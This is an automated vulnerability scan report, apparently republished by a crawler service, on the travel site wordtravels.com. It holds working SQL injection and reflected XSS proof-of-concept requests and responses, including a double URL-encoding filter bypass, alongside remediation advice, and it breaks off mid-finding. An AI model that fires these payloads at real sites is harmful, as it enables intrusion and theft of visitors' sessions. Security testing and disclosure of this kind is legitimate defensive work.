CAPEC-86, XSS, Cross Site Scripting, CWe-79, www.wordtravels.com

XSS in wordtravels.com | CloudScan Vulnerability Crawler

Report generated by CloudScan Vulnerability Crawler at Wed Feb 09 19:48:28 CST 2011.



DORK CWE-79 XSS Report

Loading

1. SQL injection

2. Cross-site scripting (reflected)

2.1. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 2]

2.2. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 2]

2.3. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 3]

2.4. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 3]

2.5. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 3]

2.6. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 4]

2.7. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 4]

2.8. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [name of an arbitrarily supplied request parameter]

2.9. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [name of an arbitrarily supplied request parameter]

2.10. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 2]

2.11. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 4]

2.12. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 3]

2.13. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 3]

2.14. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 5]

2.15. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 5]

2.16. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 5]

2.17. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]

2.18. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]

2.19. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]

3. Cookie without HttpOnly flag set

4. Cross-domain script include

4.1. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel

4.2. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 15077760'%20or%201%3d1--%20 and 15077760'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

GET /Resorts/France15077760'%20or%201%3d1--%20/Ski+Resorts/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 23:46:16 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=894236f91bae3ba842d4fe7820df62ed; path=/
Content-Type: text/html
Content-Length: 21857

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Travelguide/Provinces/France15077760' or 1=1-- ">France15077760' or 1=1-- </a> - <a href="/Travelguide/Provinces/France15077760' or 1=1-- /Regions/Ski+Resorts">Ski Resorts</a> - Courchevel Holiday        </div>
   </td>
   
   <td nowrap>
   
        <div style="text-align:right; margin-bottom:5px">
   <!-- facebook social links -->
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like href="www.wordtravels.com" show_faces="false" width="450" action="recommend"></fb:like>
</div>

   </td>
</tr>
</table>
<!-- BEGIN: Breadcrumbs -->        <div id="guideleft">
           <div id="headerbluebox" style="margin-bottom:8px;">
               <div id="stripe" style="margin-bottom:1px;"></div>
               <div id="guidebluebox"><a href="Print" rel="nofollow"><div id="yellow_print_icon">&nbsp;</div></a><h1></h1><span><a href="Print" rel="nofollow">Print our full travel guide to Courchevel</a></span></div>
               
               <div id="guidebluecnr"></div>
           </div>
           <div id="innerguideleft">    <input type="hidden" name="imagename" value="/usr/local/share/www/wordtrxf/images/map/France15077760'_or_1=1--/Courchevel_map.jpg" />
   <h1 style="margin-top:-1px;">Resort</h1>
   <div id="thinstripe"></div>
   <ul>
       <li><a href="/Resorts/France15077760'%20or%201%3d1--%20/Ski+Resorts/Courchevel">Courchevel Travel Guide</a></li>
       <li><a href="/Travelguide/Provinces/France15077760' or 1=1-- /Basics">Travel Information</a></li>
       <li><a href="/Resorts/France15077760'%20or%201%3d1--%20/Ski+Resorts/Courchevel/Photos">Photos</a></li>
       <li><a href="http://www.tripreport.com/resort/United+Kingdom/France15077760' or 1=1-- //Courchevel" target="_blank">Hotels in Courchevel</a></li>
   </ul>
<br/>
   <h1 style="margin-top:-1px;">Rants and Raves</h1>
   <div id="thinstripe"></div>
   <ul>
       <li><a href="http://www.tripreport.com/add_review/?location=resort/United+Kingdom/France15077760' or 1=1-- //Courchevel" target="_blank">Write a Travel Review</a></li>
   </ul>
<br/>
   <h1 style="margin-top:-1px;">Directory</h1>
   <div id="thinstripe"></div>
   <ul>
       <li><a rel="
...[SNIP]...

Request 2

GET /Resorts/France15077760'%20or%201%3d2--%20/Ski+Resorts/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 23:46:32 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=9c992a768931191bccaf076c295cfb75; path=/
Content-Type: text/html
Content-Length: 21827

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Travelguide/Provinces/France15077760' or 1=2-- ">France15077760' or 1=2-- </a> - <a href="/Travelguide/Provinces/France15077760' or 1=2-- /Regions/Ski+Resorts">Ski Resorts</a> - Courchevel Holiday        </div>
   </td>
   
   <td nowrap>
   
        <div style="text-align:right; margin-bottom:5px">
   <!-- facebook social links -->
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like href="www.wordtravels.com" show_faces="false" width="450" action="recommend"></fb:like>
</div>

   </td>
</tr>
</table>
<!-- BEGIN: Breadcrumbs -->        <div id="guideleft">
           <div id="headerbluebox" style="margin-bottom:8px;">
               <div id="stripe" style="margin-bottom:1px;"></div>
               <div id="guidebluebox"><a href="Print" rel="nofollow"><div id="yellow_print_icon">&nbsp;</div></a><h1></h1><span><a href="Print" rel="nofollow">Print our full travel guide to Courchevel</a></span></div>
               
               <div id="guidebluecnr"></div>
           </div>
           <div id="innerguideleft">    <input type="hidden" name="imagename" value="/usr/local/share/www/wordtrxf/images/map/France15077760'_or_1=2--/Courchevel_map.jpg" />
   <h1 style="margin-top:-1px;">Resort</h1>
   <div id="thinstripe"></div>
   <ul>
       <li><a href="/Resorts/France15077760'%20or%201%3d2--%20/Ski+Resorts/Courchevel">Courchevel Travel Guide</a></li>
       <li><a href="/Travelguide/Provinces/France15077760' or 1=2-- /Basics">Travel Information</a></li>
       <li><a href="/Resorts/France15077760'%20or%201%3d2--%20/Ski+Resorts/Courchevel/Photos">Photos</a></li>
       <li><a href="http://www.tripreport.com/resort/France15077760' or 1=2-- //Courchevel" target="_blank">Hotels in Courchevel</a></li>
   </ul>
<br/>
   <h1 style="margin-top:-1px;">Rants and Raves</h1>
   <div id="thinstripe"></div>
   <ul>
       <li><a href="http://www.tripreport.com/add_review/?location=resort/France15077760' or 1=2-- //Courchevel" target="_blank">Write a Travel Review</a></li>
   </ul>
<br/>
   <h1 style="margin-top:-1px;">Directory</h1>
   <div id="thinstripe"></div>
   <ul>
       <li><a rel="nofollow" href="http://prefere
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 19 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b13ac"><img%20src%3da%20onerror%3dalert(1)>eac74950c9f was submitted in the REST URL parameter 2. This input was echoed as b13ac"><img src=a onerror=alert(1)>eac74950c9f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Resorts/Franceb13ac"><img%20src%3da%20onerror%3dalert(1)>eac74950c9f/Ski+Resorts/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:14:43 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=61e451cdb9c6326a0b3963a530764c17; path=/
Content-Type: text/html
Content-Length: 22098

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Travelguide/Provinces/Franceb13ac"><img src=a onerror=alert(1)>eac74950c9f">
...[SNIP]...

2.2. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c3799%253cscript%253ealert%25281%2529%253c%252fscript%253ec30d2463454 was submitted in the REST URL parameter 2. This input was echoed as c3799<script>alert(1)</script>c30d2463454 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Resorts/Francec3799%253cscript%253ealert%25281%2529%253c%252fscript%253ec30d2463454/Ski+Resorts/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:19:03 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=499a084c1a62afb68968088263569adb; path=/
Connection: close
Content-Type: text/html
Content-Length: 22192

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Travelguide/Provinces/Francec3799%3cscript%3ealert%281%29%3c%2fscript%3ec30d2463454">Francec3799<script>alert(1)</script>c30d2463454</a>
...[SNIP]...

2.3. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98056"><script>alert(1)</script>34555e8c145 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Resorts/France/Ski+Resorts98056"><script>alert(1)</script>34555e8c145/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:20:25 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=5d25215b5e2a6e12ce4a2517cedc29ea; path=/
Connection: close
Content-Type: text/html
Content-Length: 24203

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Resorts/France/Ski+Resorts98056"><script>alert(1)</script>34555e8c145">
...[SNIP]...

2.4. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 7eb68--><a>d29ef1eae9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /Resorts/France/Ski+Resorts7eb68--><a>d29ef1eae9/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:22:53 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=10e499e477e56db92b80b6f34e0ca19b; path=/
Content-Type: text/html
Content-Length: 26146

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Resorts/France/Ski+Resorts7eb68--><a>d29ef1eae9/Courchevel/">
...[SNIP]...

2.5. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b3b7f%253cscript%253ealert%25281%2529%253c%252fscript%253e33c964bc3a5 was submitted in the REST URL parameter 3. This input was echoed as b3b7f<script>alert(1)</script>33c964bc3a5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Resorts/France/Ski+Resortsb3b7f%253cscript%253ealert%25281%2529%253c%252fscript%253e33c964bc3a5/Courchevel HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:22:50 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=fe3962a466f975471e0e8542e1759d80; path=/
Content-Type: text/html
Content-Length: 26454

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="/Travelguide/Countries/France/Regions/Ski+Resortsb3b7f%253cscript%253ealert%25281%2529%253c%252fscript%253e33c964bc3a5">Ski Resortsb3b7f<script>alert(1)</script>33c964bc3a5</a>
...[SNIP]...

2.6. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92862"><img%20src%3da%20onerror%3dalert(1)>74abba6e713 was submitted in the REST URL parameter 4. This input was echoed as 92862"><img src=a onerror=alert(1)>74abba6e713 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Resorts/France/Ski+Resorts/Courchevel92862"><img%20src%3da%20onerror%3dalert(1)>74abba6e713 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:26:39 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=52bfb8a792721bde8e2c2f8119d2f3ff; path=/
Content-Type: text/html
Content-Length: 24761

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="http://www.tripreport.com/resort/France//Courchevel92862"><img src=a onerror=alert(1)>74abba6e713" target="_blank">
...[SNIP]...

2.7. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 73922%253cscript%253ealert%25281%2529%253c%252fscript%253e190c2404f62 was submitted in the REST URL parameter 4. This input was echoed as 73922<script>alert(1)</script>190c2404f62 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Resorts/France/Ski+Resorts/Courchevel73922%253cscript%253ealert%25281%2529%253c%252fscript%253e190c2404f62 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:27:53 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=0e559df993bfb568fae9f703586e5e85; path=/
Content-Type: text/html
Content-Length: 24868

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="http://www.tripreport.com/resort/France//Courchevel73922%3cscript%3ealert%281%29%3c%2fscript%3e190c2404f62" target="_blank">
       See all Courchevel73922<script>alert(1)</script>190c2404f62 holiday reviews
   </a>
...[SNIP]...

2.8. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0a49"><img%20src%3da%20onerror%3dalert(1)>ff3b3d9da31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e0a49"><img src=a onerror=alert(1)>ff3b3d9da31 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Resorts/France/Ski+Resorts/Courchevel?e0a49"><img%20src%3da%20onerror%3dalert(1)>ff3b3d9da31=1 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

